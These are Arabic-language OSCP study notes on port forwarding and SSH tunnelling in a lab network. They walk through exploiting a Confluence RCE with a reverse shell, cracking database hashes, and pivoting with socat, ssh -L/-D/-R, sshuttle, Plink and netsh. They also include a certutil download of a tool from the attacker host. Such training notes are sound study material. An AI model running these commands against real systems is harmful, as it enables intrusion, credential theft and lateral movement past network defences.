| المنطقة | الوصف | إمكانية الوصول |
|---|---|---|
| WAN | الإنترنت أو backbone مؤسسي كبير — حيث يعيش جهاز المهاجم | متاح للجميع |
| DMZ | منطقة شبه موثوقة — تستضيف سيرفرات عامة (ويب، بريد، DNS). معزولة عن الـ LAN الداخلي لتقليل تأثير الاختراق | محدود من WAN |
| Internal LAN | منطقة مقيَّدة للغاية — قواعد بيانات، domain controllers، سيرفرات حساسة. غير قابلة للوصول من WAN أو DMZ بدون قواعد صريحة | من DMZ فقط بقواعد |
ما لدينا: CONFLUENCE01 — سيرفر ويب مخترَق، قدم في WAN وقدم في DMZ | PGDATABASE01 — سيرفر PostgreSQL داخلي، قابل للوصول فقط من DMZ | Kali — في WAN، يمكنها الوصول لـ CONFLUENCE01 مباشرة
المشكلة: Kali لا تستطيع الوصول لـ PGDATABASE01 مباشرةً — تقسيم الشبكة يمنعها
الهدف: استخدام CONFLUENCE01 كـ pivot لتمرير الترافيك للـ DMZ
RCE حرج في Atlassian Confluence — بدون حاجة للتوثيق. يستغل OGNL injection في محرك معالجة التعبيرات. يسمح بتنفيذ كود Java عشوائي على السيرفر.
# طلب HTTP مصاغ يستغل OGNL injection
curl -v http://192.168.50.63:8090/%24%7Bnew%20javax.script.ScriptEngineManager%28%29...
# Netcat listener على Kali لاستقبال الـ reverse shell
nc -lvnp 4444
# Shell يصل — صلاحيات محدودة لكن كافية للبدء
Socat = SOcket CAT — نسخة متقدمة من Netcat. يعمل كليًا في user space — لا يحتاج root للبورتات غير المميَّزة. يدعم TCP، UDP، Unix sockets، SSL/TLS والمزيد. على عكس iptables، يعمل بدون تعديل قواعد الـ firewall.
قدرات رئيسية للـ pivoting: تمرير البورتات بين عناوين شبكة مختلفة، ترحيل الترافيك بين أنواع sockets مختلفة، معالجة اتصالات متعددة عبر fork.
socat -ddd \
TCP-LISTEN:2345,fork \
TCP:10.4.50.215:5432
# -ddd = verbose debug output
# TCP-LISTEN:2345 = استمع على بورت 2345
# fork = معالجة اتصالات متعددة
# TCP:10.4.50.215:5432 = وجّه لـ PG01:5432
psql -h 192.168.50.63 -p 2345 -U postgres
# نتصل بـ PGDATABASE01 وكأننا متصلون مباشرةً!
بعد كسر هاشات كلمات المرور من قاعدة البيانات، ممكن إعادة استخدام نفس بيانات الاعتماد على SSH في PGDATABASE01:
# كسر الهاشات بـ Hashcat
hashcat -m 12001 hashes.txt /usr/share/wordlists/fasttrack.txt
# Forward جديد لـ SSH (بدل PostgreSQL)
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
# الاتصال عبر SSH من خلال النفق
ssh database_admin@192.168.50.63 -p 2222
# Shell على PGDATABASE01!
socat TCP-LISTEN:PORT,fork TCP:DEST_IP:DEST_PORT| النوع | الـ Flag | الاتجاه | أفضل استخدام |
|---|---|---|---|
| Local Forwarding | -L | جهازك → Pivot → داخلي | الوصول لخدمة داخلية محددة |
| Remote Forwarding | -R | داخلي → Pivot → جهازك | تجاوز حجب الـ firewall للاتصالات الواردة |
| Dynamic Forwarding | -D | SOCKS Proxy كامل (أي هدف) | فحص وتصفّح كامل الشبكة الداخلية |
تفتح بورتًا على جهازك يتصل بشفافية بخدمة داخلية. كل الترافيك يسير مشفَّرًا عبر اتصال SSH لجهاز الـ pivot، الذي يتصل بالوجهة النهائية نيابةً عنك.
اتجاه الترافيك: جهازك → SSH Pivot → الهدف الداخلي | ميزة أساسية: لا بورتات جديدة تُفتَح على الـ pivot
PGDATABASE01 يمكنها الوصول لشبكة أعمق (172.16.50.0/24). SMB server على 172.16.50.217 — غير قابل للوصول من Kali. الهدف: الوصول لـ SMB share مباشرةً من Kali عبر النفق.
ssh -N -L 0.0.0.0:4455:172.16.50.217:445 \
database_admin@10.4.50.215
# -N = لا shell تفاعلي (فقط النفق)
# 0.0.0.0 = استمع على كل الواجهات
# 4455 = البورت المحلي على CONFLUENCE01
# 172.16.50.217:445 = الوجهة النهائية
smbclient -p 4455 -L //192.168.50.63/ \
-U hr_admin --password=Welcome1234
كل -L forward يتصل بـ وجهة واحدة فقط — أمر واحد لكل خدمة. الـ Dynamic forwarding يحلّ هذا: ينشئ SOCKS proxy على جهازك — نفق واحد لـ أي وجهة. التطبيقات بتبعث الترافيك للبورت الـ SOCKS؛ SSH يوجّهه لأي مضيف داخلي. الوجهة تُحدَّد ديناميكيًا داخل كل طلب.
SOCKS: بروتوكول proxy يُعيد توجيه الحزم لوجهتها. SOCKS4 = TCP فقط | SOCKS5 = TCP + UDP + توثيق | Proxychains: يُجبر التطبيقات التي لا تدعم SOCKS أصلًا على التوجيه عبر proxy. يعترض استدعاءات الشبكة في runtime. أضف proxychains قبل أي أمر لتنفيذه عبر النفق.
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
# تعديل /etc/proxychains4.conf
# أضف:
socks5 192.168.50.63 9999
# فحص عبر الـ proxy
proxychains nmap -sT -Pn 172.16.50.217
# تصفح SMB
proxychains smbclient -L //172.16.50.217/ -U hr_admin
# تحميل ملف
proxychains smbclient //172.16.50.217/scripts -U hr_admin
smb: \> get Provisioning.ps1
Proxychains بيضيف latency — الفحوصات الكبيرة ستكون أبطأ. استخدم -sT (TCP connect scan) مع nmap بدل -sS (SYN scan) لأن Proxychains لا يدعم raw packets.
الـ firewalls الصارمة تحجب كل الاتصالات من الخارج للـ pivot. لكن الاتصالات الصادرة من الـ pivot مسموحة (شائع في الشبكات المؤسسية). الـ Remote forwarding يستغل هذا التفاوت: الجهاز المخترَق يبدأ اتصال SSH خارجيًا لجهازك. بورت استماع يُنشَأ على جهازك. الترافيك المُرسَل لذلك البورت يُوجَّه عبر النفق للشبكة الداخلية.
الـ Firewall يسمح فقط بـ TCP 8090 وارد لـ CONFLUENCE01. لا يمكن فتح بورتات جديدة للاتصالات الواردة من Kali. SSH الصادر من CONFLUENCE01 لـ Kali مسموح.
# ابدأ SSH server على Kali أولًا
sudo systemctl start ssh
# من CONFLUENCE01 — اتصال خارجي لـ Kali
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 \
kali@192.168.118.4
# -R = remote forward
# 127.0.0.1:2345 = البورت المفتوح على KALI
# 10.4.50.215:5432 = الوجهة النهائية
يجمع بين -R (نفق عكسي) و-D (SOCKS proxy). الـ -R العادي: اتصال واحد، وجهة واحدة — محدود للاستطلاع. الـ Remote Dynamic: SOCKS proxy على جهازك، التمرير يتم بواسطة الـ pivot. نفس مرونة -D، لكن يعمل خلال firewalls صارمة للاتصالات الواردة.
# ابدأ SSH server على Kali
sudo systemctl start ssh
# من CONFLUENCE01 — Remote Dynamic
ssh -N -R 9998 kali@192.168.118.4
# -R مع بورت فقط = remote dynamic
# SOCKS proxy يُفتَح على Kali:9998
# أضف لـ /etc/proxychains4.conf
socks5 127.0.0.1 9998
# فحص عبر النفق من Kali
proxychains nmap -sT -Pn 10.4.50.64
# يكتشف: 80، 3306، 3389...
| الخطوة | التقنية | الهدف |
|---|---|---|
| 1 | اختراق CONFLUENCE01 | الحصول على shell في المنطقة الوسطى (DMZ) |
| 2 | -L Local | وصول مباشر لقاعدة البيانات الداخلية لسرقة credentials |
| 3 | كسر الهاشات | الحصول على باسوردات صالحة للتنقّل الجانبي |
| 4 | -D Dynamic | فحص الشبكة الداخلية كاملًا — إيجاد أهداف جديدة |
| 5 | -R Remote | الحفاظ على وصول مستمر رغم الـ firewalls الصارمة |
-L: دقيق ومحدَّد — لما تعرف بالضبط الخدمة التي تحتاجها-D: استطلاع واسع — خريطة الشبكة ← إيجاد أهداف جديدة-R: استمرارية رغم الـ firewalls — يستغل الاتصالات الصادرة المسموحة-R بدون وجهة = Remote Dynamic = -D عكسي — مرونة كاملة-R: sudo systemctl start sshsshuttle بيحوّل اتصال SSH لنفق شبيه بالـ VPN. بدلًا من تمرير بورت واحد في كل مرة، يوجّه شبكات كاملة بشفافية. لا حاجة لإعداد SOCKS proxy أو Proxychains. التطبيقات تعمل عادي — لا تعرف إن الترافيك يُنفَّق.
المتطلبات: وصول SSH لمضيف pivot داخل الشبكة المستهدَفة | صلاحيات root على جهازك (يعدّل جداول التوجيه وiptables) | Python مثبَّت على المضيف البعيد | لا يحتاج تثبيت أي شيء على الـ pivot خلاف Python
# الخطوة 1: إنشاء Socat forward على C01 لجعل SSH لـ PG01 قابلًا للوصول
socat TCP-LISTEN:2222,fork TCP:10.4.50.215:22
# الخطوة 2: تشغيل sshuttle من Kali
sshuttle -r database_admin@192.168.50.63:2222 \
10.4.50.0/24 172.16.50.0/24
# بعد هذا — لا إعداد per-port مطلوب!
smbclient -L //172.16.50.217/ -U hr_admin --password=Welcome1234
# لا proxychains، لا config إضافي!
Windows 10 April 2018 Update (v1803) يتضمّن OpenSSH client افتراضيًا. متاح في: C:\Windows\System32\OpenSSH\ — تشمل ssh.exe، scp.exe، sftp.exe. لا تثبيت مطلوب — تقنية "living off the land".
حصلنا على وصول RDP لـ MULTISERVER03 (Windows). الـ Firewall يسمح فقط بـ RDP وارد — كل اتصال وارد آخر محجوب. الاتصالات الصادرة مسموحة.
الاستراتيجية: استخدام ssh.exe من Windows لإنشاء نفق dynamic عكسي لـ Kali. SOCKS proxy يُفتَح على Kali — وجّه كل الأدوات عبره.
# التحقق من OpenSSH
where ssh
ssh -V
# ابدأ SSH server على Kali أولًا
# sudo systemctl start ssh
# من Windows CMD — Remote Dynamic
ssh -N -R 9998 kali@192.168.118.4
# أضف لـ /etc/proxychains4.conf
socks5 127.0.0.1 9998
# الوصول لموارد داخلية عبر النفق
proxychains psql -h 10.4.50.215 -U postgres
واجهة command-line لـ PuTTY — واحد من أكثر SSH clients استخدامًا على Windows تاريخيًا. يوجَد في بيئات أزيل منها OpenSSH لأسباب سياسية. أقل احتمالًا لتشغيل AV — مرتبط بأدوات إدارة شرعية.
يدعم: Local وRemote port forwarding ✓ | لا يدعم: Remote Dynamic port forwarding ✗
MULTISERVER03 — بورت 80 فقط مكشوف خارجيًا. اختُرق عبر web shell → reverse shell بـ Netcat. OpenSSH أُزيل — فقط Plink متاح. الهدف: تنفيذ RDP (بورت 3389) للخارج عبر SSH.
# تحميل Plink للجهاز المستهدَف
cd C:\Windows\Temp
certutil -urlcache -split -f http://KALI/plink.exe plink.exe
# إنشاء Remote Port Forward
# 'echo y' لتجاوز interactive host-key prompt في shell غير تفاعلي
cmd.exe /c echo y | plink.exe -ssh \
-l kali -pw kalipassword \
-R 127.0.0.1:9833:127.0.0.1:3389 \
192.168.118.4
# الاتصال عبر البورت المُعاد توجيهه
xfreerdp /u:rdp_admin /p:P@ssw0rd /v:127.0.0.1:9833
# RDP session عبر الـ firewall!
Netsh (Network Shell) مدمَج في كل إصدارات Windows. يستخدم ميزة portproxy لإنشاء قواعد port forwarding مستمرة. لا أدوات من جهات خارجية مطلوبة. يتطلّب: صلاحيات Administrator + قاعدة firewall منفصلة للسماح بالترافيك. يدعم TCP فقط (لا UDP). ميزة: مستمر ويبقى بعد إعادة التشغيل.
فتح Command Prompt كـ Administrator
netsh interface portproxy add v4tov4 \
listenport=2222 \
listenaddress=192.168.50.64 \
connectport=22 \
connectaddress=10.4.50.215netsh interface portproxy show all
netstat -anp TCP | find "2222"netsh advfirewall firewall add rule \
name="pf_ssh" protocol=TCP \
dir=in localport=2222 action=allowssh database_admin@192.168.50.64 -p 2222
# → يصل لـ PGDATABASE01:22 عبر MULTISERVER03!netsh advfirewall firewall delete rule name="pf_ssh"
netsh interface portproxy del v4tov4 \
listenport=2222 listenaddress=192.168.50.64مهم: دايمًا نظّف port forwards وقواعد الـ firewall بعد المهمة لتجنّب ترك backdoors دائمة.
-L/-D/-R كلها تعمل| الأداة | المنصة | التشفير | يحتاج Root | أنواع البروتوكول |
|---|---|---|---|---|
| Socat | Linux | لا (بالافتراضي) | لا (للبورتات >1024) | TCP، UDP |
| SSH -L/-D | Linux/Windows | نعم | لا | TCP |
| SSH -R | Linux/Windows | نعم | لا | TCP |
| sshuttle | Linux | نعم | نعم (client) | TCP |
| Netsh Portproxy | Windows | لا | نعم (Admin) | TCP فقط |
| Plink | Windows | نعم | لا | TCP |
| النوع | الأمر | ملاحظة |
|---|---|---|
| Local (-L) | ssh -N -L [bind:]LPORT:DEST:DPORT user@PIVOT | 0.0.0.0 للاستماع على كل الواجهات |
| Dynamic (-D) | ssh -N -D [bind:]PORT user@PIVOT | أضف socks5 PIVOT PORT لـ proxychains.conf |
| Remote (-R) | ssh -N -R [bind:]PORT:DEST:DPORT user@KALI | ابدأ SSH server على Kali أولًا |
| Remote Dynamic | ssh -N -R PORT user@KALI | SOCKS proxy يُفتَح على Kali:PORT |
# Socat Port Forward الأساسي
socat -ddd TCP-LISTEN:LPORT,fork TCP:DEST_IP:DEST_PORT
# sshuttle — توجيه subnet كامل
sshuttle -r user@PIVOT:PORT SUBNET1 SUBNET2
# Netsh Portproxy (Windows — Admin)
netsh interface portproxy add v4tov4 \
listenport=LPORT listenaddress=LOCAL_IP \
connectport=DPORT connectaddress=DEST_IP
# Plink — Remote Port Forward (Windows)
cmd.exe /c echo y | plink.exe -ssh -l USER -pw PASS \
-R 127.0.0.1:LPORT:127.0.0.1:DPORT KALI_IP
# Proxychains
proxychains nmap -sT -Pn TARGET
proxychains smbclient -L //TARGET/ -U USER
| الموقف | الأداة الأنسب |
|---|---|
| Pivot بدون SSH credentials، TCP فقط | Socat |
| وصول لخدمة داخلية محددة، SSH متاح | SSH -L |
| فحص شبكة داخلية كاملة عبر pivot | SSH -D + Proxychains |
| Firewall صارم للواردات، outbound مسموح | SSH -R أو Remote Dynamic |
| الوصول لـ subnet كامل بدون proxychains | sshuttle |
| Windows pivot، RDP فقط مكشوف | OpenSSH -R أو Plink -R |
| Windows pivot، بدون tools رفع | Netsh Portproxy + Firewall Rule |
الشبكات المقسَّمة والـ firewalls تمنع الوصول المباشر — Port Forwarding والـ Tunneling أساسيَّان للتنقّل فيها. كل تقنية بتحلّ سيناريو مختلف، ودمجها معًا بيعطيك تحكّمًا كاملًا في الشبكة المقسَّمة من الخارج.
القاعدة الذهبية: دايمًا نظّف الـ port forwards وقواعد الـ firewall وأي أدوات رفعتها بعد انتهاء المهمة. تركها خلفك يعني ترك backdoors دائمة قد يستغلّها مهاجم آخر أو تسبّب مشاكل لبيئة العميل.
نهاية نوتس الموديول السادس عشر — OSCP: Port Redirection & SSH Tunneling